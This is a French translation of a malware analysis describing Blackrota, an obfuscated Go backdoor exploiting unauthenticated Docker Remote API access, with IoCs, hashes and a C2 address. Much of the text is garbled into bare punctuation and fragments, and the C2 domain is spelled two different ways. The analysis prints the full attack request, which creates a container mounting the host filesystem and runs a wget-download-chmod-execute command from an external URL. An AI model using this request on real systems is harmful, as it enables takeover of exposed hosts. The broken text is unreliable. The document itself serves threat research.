Le malware Go ELF le plus obscurci que nous ayons vu à ce jour.
Préface
Récemment, une porte dérobée malveillante écrite en Go qui exploitait une vulnérabilité d'accès non autorisé dans l'API Docker Remote a été interceptée sur l'Anglerfish Honeypot.
Nous l'avons nommé Blackrota parce que son domaine C2 est blackrota.ga .
La porte dérobée Blackrota est actuellement disponible uniquement pour Linux, au format ELF et prend en charge les architectures x86 / x86-64.
Blackrota est configuré et compilé sur la base de geacon - l'implémentation CobaltStrike Beacon Go utilisée en tant que CobaltStrike Beacon, qui interagit avec CobaltStrike pour contrôler un hôte compromis:
Cependant, il ne s'agit que d'une implémentation de certaines des fonctionnalités clés du CobaltStrike Beacon original:
CMD_SHELL: exécution de commandes Shell,
CMD_UPLOAD: télécharger des fichiers,
CMDDOWNLOAD: télécharger des fichiers spéciaux,
CMD_FILE _ ROWSE: visualiser le fichier,
CMD_CD: changer de répertoire,
CMD_SLEEP: définir le délai de mise en veille,
CMD_PWD: retourne le répertoire courant,
CMD_EXIT: quitter.
geacon, Blackrota gobfuscate - . Gobfuscate - Go-, Go- :
;
;
;
;
.
, gobfuscate XOR , XOR, .
Go . , , , , . , , , Go . , Go.
, Go : RTSI (Runtime Symbol Information) RTTI (Runtime Type Information) . , Go, , Go. Go . , RTSI RTTI , , .
Blackrota gobfuscate , "life-door" . , , . .
, Go, , - , . Blackrota - Go ELF , .
Blackrota
Blackrota API Docker. :
POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json
{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
32/64 Blackrota URL :
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
Blackrota
, Blackrota Go. go_parser IDAPro, , Go1.15.3, GOROOT path "/usr/local/Cellar/ go/1.15.3/libexec". , , , , , , .
, ( )
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go
Blackrota
, , , , Blackrota .
:
:
, , , :
, , , Go , . , , , Blackrota geacon.
, Blackrota, :
geacon Blackrota, ,
idb2pat.py IDAPro (geacon.pat) geacon-,
sigmake Flair Tools geacon (geacon.sig),
geacon.sig Blackrota IDAPro, .
! , , , , geacon-, :
Blackrota
, , Go, Blackrota, geacon . , geacon.
, Blackrota XOR , , , . XOR. gobfuscate XOR , , , . XOR :
, , XOR XOR. , .
, Go, , , . - , @joakimkennedy, main:
main - :
- EKANS, , Blackrota:
La méthode d'obfuscation utilisée dans les logiciels malveillants Blackrota et EKANS crée de nouveaux appels / problèmes de désassemblage. Au fur et à mesure que le langage Go devient de plus en plus populaire et que de plus en plus de logiciels malveillants sont écrits dans Go à l'avenir, nous garderons un œil sur ce qui se passe.
IoC
MD5:
e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
C&C:
blackrato.ga 165.227.199.214 ASN: 14061|DigitalOcean,_LLC
PS L'article a été publié avec l'autorisation de l'auteur. Ma première traduction, merci de la traiter avec compréhension.